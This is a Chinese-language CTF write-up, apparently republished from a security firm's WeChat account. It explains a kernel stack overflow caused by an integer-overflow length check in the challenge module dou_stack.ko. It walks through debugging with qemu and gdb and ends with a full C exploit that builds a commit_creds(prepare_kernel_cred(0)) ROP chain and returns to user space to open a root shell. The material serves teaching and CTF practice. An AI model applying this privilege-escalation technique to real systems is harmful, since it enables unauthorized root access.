前言
啊~熟悉的感觉,想起已经两年没写文章了,文采早已不及当年。很惭愧,已经两年没好好地总结知识点了,我现在又重温当年的回忆,来和大家一起探究一下linux kernel的艺术
内核基础知识
简介
kernel其实就是一个程序,可以直接与硬件交互,应用也可以通过系统调用与内核进行交互。比如应用中存在一个puts函数,通过系统调用syscall告诉内核我现在需要在硬件显示屏上输出一串字符,内核就会控制显示屏打印出一串字符。其实说白了,内核就像是一个中间人,是硬件与软件沟通的桥梁。
既然是程序,那就跟普通程序一样肯定会存在漏洞,其运行的时候也会有一个内核栈,要是传进来是数据过长,同样也会造成栈溢出,只是利用的方法和找的gadget不一样。
特权级别
Intel x86系列处理器使用“环”的概念来实施访问控制,将CPU分为Ring0,Ring1,Ring2,Ring3等级别,Ring是指CPU的运行级别,Ring0实际就是内核态,是最高级别,只有操作系统能使用,而一般应用程序处于Ring3状态,级别最低,所有程序都能使用。
内核保护机制
1.smep和smap:当CPU处于Ring0模式,不能执行用户空间的代码和访问用户空间的数据。
2.canary:跟一般程序的canary一样,溢出覆盖掉这个后返回就会报错。
3.kaslr:类似于so文件的加载机制,开启后,image会随机加载到VMALLOC的任何位置。
4.restrict:若文件/proc/sys/kernel/kptr_restrict的值为1,则不能通过/proc/kallsyms查看内核符号的地址,若/proc/sys/kernel/dmesg_restrict设置为1,非root用户则不可以查看dmesg。
CTF中的内核题
目的
内核题跟普通的pwn题不同点就是,普通的pwn题就是为了getshell或者远程读出flag,而内核题系统启动之后就有shell,但是这个shell是低权限的,所以我们要做的就是通过找出内核的洞来并利用其提权读出flag。
例题
题目信息
下面来看一道HWS计划冬令营的一道简单的内核题,题目给了一个压缩包,里面有以下文件:
1.boot.sh:用来启动内核的shell脚本,大多数都是使用qemu来启动,通过参数可以控制启动的内核的保护机制。
2.bzImage:经过压缩后kernel的二进制文件,通过extract-vmlinux可以提取出vmlinux。
3.rootfs.img:文件系统镜像,用binwalk将其解开之后会有个.ko文件,一般漏洞就存在那个文件里面。
分析
利用binwalk命令binwalk -Me ./rootfs.img
将文件系统镜像解包,拿到其中的dou_stack.ko文件。还有一个init文件,可以看到里面开了定时关机,为了方便调试,我们可以这行删掉,然后再用命令
find . | cpio -o --format=newc > ../../rootfs.img
将其打包
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod ./dou_stack.ko # load ko
chown 0:0 /flag
chmod 400 /flag
mdev -s # We need this to find /dev/sda later
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
echo "doudou welcome you here let's gogo"
poweroff -d 300 -f & #delete
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# exec /bin/sh #root
poweroff -d 0 -f
利用IDA逆向dou_stack.ko文件看到procfile_write函数里面的第三个参数是一个字节的大小跟7进行比较,如果小于7,则将用户空间的数据传入内核的栈里面去。这里存在一个整数溢出的问题,若我们传的长度类似是0xffff00的数值就可以绕过那个比较的限制,从而造成栈溢出。
调试
通过静态分析可以知道变量到返回地址的偏移为0x10,现在我们来动态调试一下,我们用c语言写个调试内核的程序,用命令gcc exp_debug.c -static -o exp_debug
进行编译,然后将其放进文件系统映像里面
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int main()
{
size_t rop[0x1000] = {0};
int i=0;
rop[0] = 0x1111111111111111;
rop[1] = 0x2222222222222222;
int fd = open("/proc/doudou", 2);
write(fd,rop,0xff06);
return 0;
}
题目给的那个boot.sh文件,我们只需要在后面加上-s的参数,这个参数相当于-gdb tcp:1234
#! /bin/sh
qemu-system-x86_64
-m 256M
-kernel ./bzImage
-initrd ./rootfs.img
-monitor /dev/null
-nographic
-smp cores=2,threads=1
-append "console=ttyS0 root=/dev/sda rw nokaslr quiet"
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0
-cpu kvm64
-s
将bzImage用extract-vmlinux提取出vmlinux
./extract-vmlinux ./bzImage > vmlinux
然后通过gdb ./vmlinux -q启动,为了方便调试,我们可以加载驱动的符号表
add-symbol-file dou_stack.ko textaddr
这个textaddr地址如何找呢,我们执行sudo ./boot.sh把系统启动起来,然后在系统里面执行lsmod即可得到地址为0xffffffffa0000000
/ $ lsmod
dou_stack 1799 0 - Live 0xffffffffa0000000 (P)
加载了符号表之后可以直接根据函数名下断点 b procfile_write
,用命令 target remote 127.0.0.1:1234
进行调试
pwn@pwn$ gdb ./vmlinux -q
pwndbg: loaded 190 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file dou_stack.ko 0xffffffffa0000000
add symbol table from file "dou_stack.ko" at
.text_addr = 0xffffffffa0000000
Reading symbols from dou_stack.ko...(no debugging symbols found)...done.
pwndbg> b procfile_write
Breakpoint 1 at 0xffffffffa0000000
pwndbg> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
Thread 1 received signal SIGTRAP, Trace/breakpoint trap.
0xffffffff81011a69 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
Could not check ASLR: Couldn't get personality
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x0
RBX 0xffffffff817b3fd8 ◂— 0xffffffff
RCX 0x1
RDX 0x2cbcacc40
RDI 0x1
RSI 0x1
R8 0x0
R9 0x0
R10 0x0
R11 0xfffb952c
R12 0x6db6db6db6db6db7
R13 0xffff880001a11680 ◂— movsxd rbp, dword ptr [rdi + 0x6e] /* 0x3d656c6f736e6f63; 'console=ttyS0' */
R14 0xffffffffffffffff
R15 0x0
RBP 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
RSP 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
RIP 0xffffffff81011a69 ◂— jmp 0xffffffff81011a6c /* 0x25048b4865fb01eb */
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0xffffffff81011a69 jmp 0xffffffff81011a6c
↓
0xffffffff81011a6c mov rax, qword ptr gs:[0xb548]
0xffffffff81011a75 or dword ptr [rax - 0x1fc4], 4
0xffffffff81011a7c pop rbp
0xffffffff81011a7d ret
0xffffffff81011a7e push rbp
0xffffffff81011a7f mov rbp, rsp
0xffffffff81011a82 call 0xffffffff81011a20
0xffffffff81011a87 test eax, eax
0xffffffff81011a89 jne 0xffffffff81011aea
0xffffffff81011a8b mov edi, 1
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp 0xffffffff817b3f38 —▸ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 ◂— ...
01:0008│ 0xffffffff817b3f40 —▸ 0xffffffff8100a255 ◂— 0xe8c3ebfffffec5e8
02:0010│ 0xffffffff817b3f48 ◂— 0
... ↓
04:0020│ 0xffffffff817b3f58 —▸ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 —▸ 0xffffffff817b3fe8 ◂— ...
05:0028│ 0xffffffff817b3f60 —▸ 0xffffffff81509ad2 ◂— pop rbp /* 0x48ff85fe8955c35d */
06:0030│ 0xffffffff817b3f68 —▸ 0xffffffff817b3fa8 —▸ 0xffffffff817b3fc8 —▸ 0xffffffff817b3fe8 ◂— 0
07:0038│ 0xffffffff817b3f70 —▸ 0xffffffff818a0b0c ◂— 0xcccccccccccccccc
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 ffffffff81011a69
f 1 ffffffff817b3f58
f 2 ffffffff8100a255
f 3 0
───────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
跟着在启动的系统里面运行exp_debug这个程序触发断点
pwndbg> c
Continuing.
[Switching to Thread 2]
Thread 2 hit Breakpoint 1, 0xffffffffa0000000 in procfile_write ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
RAX 0xfffffffffffffffb
RBX 0xffff88000eb4a6c0 ◂— sub eax, dword ptr [rcx] /* 0x6f000012b */
RCX 0xffff88000f80bf60 ◂— 0
RDX 0xff06
RDI 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
RSI 0x7fff340912a0 ◂— adc dword ptr [rcx], edx /* 0x1111111111111111 */
R8 0xffffffffa0000000 (procfile_write) ◂— push rbp /* 0x11cc7c748c03155 */
R9 0xf
R10 0x6
R11 0x246
R12 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
R13 0xffff88000f80bf60 ◂— 0
R14 0x0
R15 0x0
RBP 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 —▸ 0x6ca018 ◂— ...
RSP 0xffff88000f80bec0 —▸ 0xffffffff81118ef2 ◂— 0xe8e8458948df8948
RIP 0xffffffffa0000000 (procfile_write) ◂— push rbp /* 0x11cc7c748c03155 */
──────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────
► 0xffffffffa0000000 <procfile_write> push rbp
0xffffffffa0000001 <procfile_write+1> xor eax, eax
0xffffffffa0000003 <procfile_write+3> mov rdi, -0x5ffffee4
0xffffffffa000000a <procfile_write+10> mov rbp, rsp
0xffffffffa000000d <procfile_write+13> sub rsp, 0x20
0xffffffffa0000011 <procfile_write+17> mov qword ptr [rbp - 0x20], rsi
0xffffffffa0000015 <procfile_write+21> mov qword ptr [rbp - 0x18], rdx
0xffffffffa0000019 <procfile_write+25> call 0xffffffff815253aa
0xffffffffa000001e <procfile_write+30> mov rdx, qword ptr [rbp - 0x18]
0xffffffffa0000022 <procfile_write+34> mov rsi, qword ptr [rbp - 0x20]
0xffffffffa0000026 <procfile_write+38> cmp dl, 7
───────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────
00:0000│ rsp 0xffff88000f80bec0 —▸ 0xffffffff81118ef2 ◂— 0xe8e8458948df8948
01:0008│ 0xffff88000f80bec8 —▸ 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 ◂— ...
02:0010│ 0xffff88000f80bed0 —▸ 0x7fff340912a0 ◂— adc dword ptr [rcx], edx /* 0x1111111111111111 */
03:0018│ 0xffff88000f80bed8 ◂— 0xff06
04:0020│ 0xffff88000f80bee0 —▸ 0xffff88000f80bf60 ◂— 0
05:0028│ 0xffff88000f80bee8 —▸ 0xffff88000eb4ab40 —▸ 0xffff88000f4958e8 ◂— 0xffff88000eb4ab40
06:0030│ 0xffff88000f80bef0 —▸ 0x7fff340912a0 ◂— adc dword ptr [rcx], edx /* 0x1111111111111111 */
07:0038│ rbp 0xffff88000f80bef8 —▸ 0xffff88000f80bf38 —▸ 0xffff88000f80bf78 —▸ 0x7fff340992b0 —▸ 0x6ca018 ◂— ...
─────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────
► f 0 ffffffffa0000000 procfile_write
f 1 ffffffff81118ef2
f 2 ffff88000f80bef8
f 3 7fff340912a0
f 4 ff06
f 5 ffff88000f80bf60
f 6 ffff88000eb4ab40
f 7 7fff340912a0
f 8 ffff88000f80bf38
f 9 ffffffff810d61c8
f 10 20
Exploit
首先我们要将各个寄存器的值保存下来
size_t user_cs, user_ss, user_rflags, user_sp;
void save()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
由于此题没有设置restrict和kaslr,所以commit_creds和prepare_kernel_cred的地址可以直接读出来使用,直接在qemu启动的系统中用grep查找/proc/kallsyms文件,得到commit_creds的地址为0xffffffff8105d235,prepare_kernel_cred的地址为0xffffffff8105d157
/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff8105d235 T commit_creds
ffffffff811c2a27 T security_commit_creds
ffffffff8177b700 r __ksymtab_commit_creds
ffffffff81792e35 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff8105d157 T prepare_kernel_cred
ffffffff8177b6c0 r __ksymtab_prepare_kernel_cred
ffffffff81792df9 r __kstrtab_prepare_kernel_cred
接下来我们的目的就是要找gadget去执行commit_creds(prepare_kernel_cred(0)),然后找到swapgs和iretq这两个gadget去执行返回到用户的空间,这个跟做普通的pwn题是一样的方法。要注意的是swapgs和iretq可以直接在IDA中搜索,也可以用objdump工具来找:
objdump -d ./vmlinux > gadget.txt
grep "swapgs" gadget.txt
grep "iretq" gadget.txt
完整exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void shell()
{
system("/bin/sh");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
int main()
{
size_t commit_creds = 0xffffffff8105d235, prepare_kernel_cred = 0xffffffff8105d157;
save();size_t rop[0x1000] = {0};
rop[0] = 0x1111111111111111;
rop[1] = 0x1111111111111111;
rop[2] = 0xffffffff810fb050; // pop rdi; ret
rop[3] = 0;
rop[4] = prepare_kernel_cred; // prepare_kernel_cred(0)0xffffffff8105d157
rop[5] = 0xffffffff811d1f52; // pop rdx; ret
rop[6] = 0xffffffff812a5faa; // pop rcx; ret
rop[7] = 0xffffffff810770ac; // mov rdi, rax; call rdx;
rop[8] = commit_creds; //0xffffffff8105d235
rop[9] = 0xffffffff8100c86a; // swapgs; popfq; ret
rop[10] = 0;
rop[11] = 0xffffffff8100c33a; // iretq; ret;
rop[12] = (size_t)shell; // rip
rop[13] = user_cs; // cs
rop[14] = user_rflags; // rflags
rop[15] = user_sp; // rsp
rop[16] = user_ss;
int fd = open("/proc/doudou", 2);
write(fd,rop,0xff06);
return 0;
}
用命令gcc exp.c -static -masm=intel -g -o exp
编译,然后运行就拿到root权限的shell
/ $ whoami
whoami: unknown uid 1000
/ $ ./exp
/ # whoami
whoami: unknown uid 0
本文始发于微信公众号(山石网科安全技术研究院):通过一道pwn题探究linux kernel的艺术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论